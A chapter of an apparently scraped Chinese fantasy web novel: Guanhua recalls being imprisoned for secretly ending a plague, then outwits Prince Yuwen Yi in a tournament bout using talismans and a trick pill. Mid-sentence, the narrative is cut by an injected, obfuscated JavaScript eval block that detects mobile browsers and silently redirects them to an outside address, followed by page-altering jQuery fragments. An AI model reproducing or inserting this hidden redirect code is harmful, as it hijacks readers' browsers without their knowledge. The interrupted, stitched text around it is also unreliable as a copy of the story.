“意外吗?”梅姮突然开口问道。
“什么?”观画不明所以,身旁那几人不知何时走了,“时界赢了自然不意外。”
梅姮手指着下方,众修士将时界围住,对他喜笑颜开,一直没出现的云尽起原是在人群中,此刻自然的搭上时界的肩膀,寻一几人从下方路过,也对他点头致意。
这些,是来自强者的认同。
时界一一谢过身旁之人的祝贺后,同云尽起和一个女修到广场出口和秦昭二人会合,五人说说笑笑一会儿,便离开了朝生广场。
梅姮这才再次开口问道:“意外吗?意外他们身旁多了一些你不认识的人。”
不认识的人?
是陪着祝灵离开的那个女修,还是今日一直站在秦昭身旁的男子,亦或是跟着时界的那个女子。
说不意外是假的,但除了片刻诧异后就再无其他。
观画不解梅姮为何要单独问这个问题,她坦承道:“每个人都有很多朋友,这是很正常的事情。”
“自然。”梅姮应道,他打了个响指,将观画送回房间的院中。
他继续道:“但不正常的是,你从未注意过,他们与你最为相近,可你却不知道他们何时认识的这些人。”
“这些人,我知道,云尽起知道,上官宜那几人也知道,唯独你一无所知。”
观画蹙眉,梅姮这番话似乎想点开一件她习以为常的事情,想戳破她身上那层坚固的保护壳,但她并不想将自己暴露,不想偏离原定的任何轨迹,哪怕这条路上至始至终只有她一个人。
她一把推开梅姮,隔开二人的距离,淡定道:“这些都与我无关。”
“那什么才和你有关?”
“那就更与殿主您无关了。”
闻言,梅姮无奈的笑了一声,他并非多管闲事,只是在他看到观画的第一眼时,就知此人并不像她表面那般淡漠,没来由的,他忽然就很想让她真切地感受这个世界。
他道:“观画,你的一切从容淡定基于你对任何事情都没有太大兴趣,你从不在意任何人,哪怕那个要带你走的引渡人。”
观画紧蹙眉头,不知道梅姮今日发的什么疯,她仍保持着一贯的冷静,反问道:“所以呢?我一定要在意这些事情吗?我一定要关心任何人吗?我选择明哲保身、事不关己有什么问题吗?”
梅姮摇头,温和笑道:“当然没有任何问题。好友,他们都有自己的生活,你也应该有,不管你在寻找什么、追逐什么,别忘了沿路的景色也值得欣赏。”
“不管未来如何,不管命运赋予你怎样的一生,现下享受的过程才最为可贵,不是吗?”
语落,四周一片安静,观画静静地盯了梅姮半晌,这个人哪怕并不知道她的身份、她的过去,却也能轻易看透人心。
他的目的是什么呢?自己改变对他又有何好处?
观画想不通,她没再说话,缓步走进屋内,关上门,如同她以往的日日夜夜般,几近冷血的避于一隅。
回到屋后,观画没点烛,直躺在椅子上,取下腰间的银铃,注视片刻,眉间不自觉的再次皱起来,她竟突然想起了那桩往事,那段她不愿再犯的错误。
明德十一年,流放边境的定南王忽然起兵谋反,兵马虽少却极为强盛,所到之处血流成河,朝云城池一一收入麾下,眼见就要踏破皇城,直取龙首。
这时,朝云瘟疫如洪水般迅速散开,百姓们苦不堪言、苟延残喘,将士们不是缺胳膊少腿儿,就是满身溃烂和发炎的伤口,而王公贵胄们紧闭皇都,视城门下跪祈求的妇孺老小为洪水猛兽。
一个才统一大陆的国家,即将分崩离析。
这段时间,冥界引渡人忙得不可开交,每日战死沙场的有多少人,瘟疫死的有多少人,无庇佑之所饿死冷死的又有多少人,他们日日夜夜来回奔波,心中所剩无几的不忍也被麻木所取代。
这个时候,观画才以引渡人的身份出冥界几年,她时刻谨记冥主地嘱咐:切勿生事,切勿插手凡人命格,切勿扰乱世间平衡,若有违背,不再踏入人间半步。
可她还是违背了,她兢兢业业、勤勤恳恳的做好本职多年,面不改色地引渡一个个死状凄惨之人,原本早该习以为常之事,在这场人间残酷的变革中,她竟动摇了。
世有一阁,名曰百草,得万千名草,落修之缘境。
世人皆传唯有有缘之人可进抬云山中,可何为有缘,谁来定之?
观画并不知晓,那时她只认为自己初出茅庐尚且无畏,故一腔热血踏过结界直达山中,见到那另世人好奇向往的百草阁。
可它不过一间破草屋子。
或许传闻本就如实,阁主见她进到阁内,颇为惊讶,一番交谈才知山外竟已生灵涂炭、民不聊生。
阁主语重心长道:“阁内草药无数,可解决了病症,解决不了病源。战争本就是人间常态,你我能做的唯有顺应常态,顺应天命。”
观画沉思片刻,却道:“可我只想尽我所能让这个世界更好一些。”
是日,天降三日祥雨,仿佛要将朝云里里外外冲刷干净,这场雨后,汹涌的瘟疫竟莫名消失了,众人言定是天道开恩,救朝云于国之危难!
民间皆传,皇族宇文氏得天命,降祥雨,百姓感之奉之,而宇文氏竟也因此重振旗鼓打退叛军,彻底稳定皇权。
那场雨从何而来,于世人而言已经不重要了,于始作俑者也不重要了,因为她已经得到了自己想要的。
此事,冥主大怒,众引渡人出动寻回观画,问其因,不知;问其由,不知;问其法,仍不知。
一场意外的心软,观画换来的是二十年的禁闭,她踏回那间狭小的房间,关上大门之际,那时感受到的不过是年少的无畏和无悔,但漫漫岁月流失,她失去了感知外界的一切权力,只有无尽的黑暗常年永伴。
后悔了吗?
观画想,该是悔的,可她不悔。
她只是有点想念自由的味道。
二十年禁闭结束,烛光晃进屋内,生出一丝光明,观画缓缓地打开房门,她失去了踏入人间的新奇,抬眼间尽显淡漠,她注视着冥主,微微笑道:“切勿生事,切勿插手凡人命格,切勿扰乱世间平衡,若再有违背,不再踏入人间半步。”
-
翌日,观画起得及早,原因无他,是那找打的梅妖竟把她比赛安排到了早上第一场,似乎生怕她没看见,腰间的玉牌亮得格外刺眼。
昨日梅姮莫名抽风,观画暂时不想见他,忍着困倦让时界带她瞬移到广场,找准擂台号上去,对手还没来,观画不免猜测以梅姮的性子,该不会是宇文熠吧?
果不其然,梅姮当真是修界第一坑人之妖,比赛即将开始之际,宇文熠便迎着周围人的目光,以极为镇定的步伐走上擂台,见到对手也没有任何惊讶,反而有一种意料之中的神情。
观画双手抱臂,仔细打量宇文熠,对方的修为她看不透,便意味着比她高,至于高多少,她直问道:“七殿下,您修为如何?”
宇文熠笑了一声:“观画,你还指望这谁比你修为低不成?”
观画:“......”
话不投机,昨日队友连连战败,还被某妖一番质问,饶是观画自诩好脾气,此刻也有些冷脸,她利落地拿出万象笔,在手中转了一圈,握紧。
她道:“也好,让我看看七殿下的修为到底如何。”
闻言,宇文熠反手拿出一把剑来,此剑威武霸气,通身金黄泛紫,被他这么一握,竟让人没来由的想起在战场上挥斥方遒的将军,换句话说,此人乃有帝王之姿。
“紫微。”观画喊道,正是宇文熠手中的那把剑,一把皇族世代传袭之剑,由此足以见得皇帝对这个儿子的偏爱。
观画此人能言善辩,宇文熠懒得同她废话,起手就是一剑挥去,观画赶忙躲过,又一剑挥来,她一记瞬移符闪到空中,紧紧地靠着画地为牢阵,多一点都要出阵。
宇文熠停下手,蹙眉道:“你这是在干什么?”
观画脚下有一把铁剑让她悬在空中不掉下来,她对着外面的计赛弟子道:“画地为牢阵布高点,挡着我了。”
计算弟子:“......”
你当自己家呢?当然是为了限制你发挥才布这么点。
他没行动,却有一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029433|194517||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
股极为熟悉的灵力将阵法扩大一倍,观画见计赛弟子这般配合,道了声感谢,飞得更高了。
宇文熠握紧紫微,看观画搞什么花样,对方飞到高空,从乾坤袋中掏出一叠符纸,然后极为随意的将这叠符纸往下一扔,密密麻麻的暗器如同下雨般落下,她符纸够多,飞得也更高,以一种不管下面人死活的方式发疯似的往下投。
原本大早上没多少修士愿意来看比赛,得知这两位今日要打一场,纷纷马不停蹄地赶来,一瞧,上面那人“噼里啪啦”地扔,下面那人“噼里啪啦”地挡,二人间不知多少兵器被扔得有来有回,竟饶有一番别致的趣味。
“你有完没完?”宇文熠怒道,手没停歇,一直挥着紫微挡下数不尽的暗器,“就打算一直躲在上面吗?”
许是观画扔累了,她当真停下来,道:“看来七殿下的修为也没有比我好到哪去。”
换做寻常修士,早布阵将这些毫无灵力的暗器挡住,哪需要费这么大的功夫。
闻言,宇文熠像是被戳中心事般,竟猛地一挥,将那些暗器化为尘埃消失在阵内。
此招已然行不通,观画落下来,转动着万象笔,点评道:“剑是好剑,持剑人一般。”
宇文熠回了她一句:“笔是好笔,持笔人很差。”
他二人的比赛看着实在不认真,围观的修士生出些别意来,喊道:“观画,你画点别的出来瞧瞧,比如高山猛兽之类的!”
观画无奈回道:“不行啊,能画我早画了。”
还有人喊道:“你再画个紫微剑出来,看谁的剑更胜一筹!”
观画无语一瞬,还真是看热闹不嫌事大,不管是她那个与身俱来的能力还是万象笔的能力,都无法做到,看似想要什么就能有什么,背后的限制却有很多、很复杂,观画摸索百年,总结下来,就是不能打破世间平衡。
宇文熠看着观画又拿出一叠符纸,莫名有些头疼,道:“本殿和你打一场,不用灵力。”
观画疑呼的思索一瞬,将符纸和笔收起来,掏出那把普通的铁剑,道:“来吧。”
语落,宇文熠持剑冲了上去,观画抬手对上,二人在擂台上斗得你一剑我一剑,几个的剑招下来,二人竟平分秋色,谁也没捞到半点好处。
宇文熠眯紧双眼,他能感受到观画并未认真,这和云鹤馆的那场打斗完全天差地别,他自认自己体术尚佳,在观画面前,竟是如此逊色。
看菜鸟互搏,众人一脸兴致缺缺,压下的困意再次卷了上来,就在大家以为二人还要互斗许久时,突然,宇文熠不动了。
他右手还举着剑,紫微即将从观画脖颈划过,他就这么木着张俊俏的脸,只能转动眼珠子来观测观画地动向,而观画一脸淡定,嘴角多了几分笑意,围着宇文熠转了一圈,点头道:“定身符效果也很不错。”
宇文熠气得差点吐出一口血,他面红耳赤道:“观画!你诈我!说好的不用灵力呢?”
观画很是无辜,云淡风轻道:“我可没答应,有灵力不用是傻子不成?”
“行,很好!你解开,再来一次。”
观画点头,极好说话的模样,往宇文熠嘴中塞了颗丹药,待她将定身符解开,宇文熠一激动就卡着咽了下去,原本气极了的脸更气了,他好半晌才缓过来,怒道:“你完了!你给本殿吃的什么?”
“结灵丹。”
宇文熠咳嗽着,险些以为听错了,结灵丹?这玩意不是助灵气转换成灵力的吗?比赛关头给他吃?
观画又补充道:“这个结灵丹是百草阁新研制的,服下此丹药十日后不但灵力大增,运气好还可提升修为。”
闻言,围观的修士兴奋了,这么厉害的东西百草阁竟然藏着掖着,一拿出来竟还给宇文熠用?他们两家不是不对付吗?
宇文熠倒是听出门道:“十日前呢?”
观画挑眉,狡黠道:“灵力全无。”
闻言,宇文熠紧握紫微,脸色阴沉得恐怖,他深吸一口气,道:“很好观画,那你的命还有十日。”
说完,他就示意计赛弟子打开画地为牢阵,转身和他的四个护卫离开,也意味着此战观画赢了。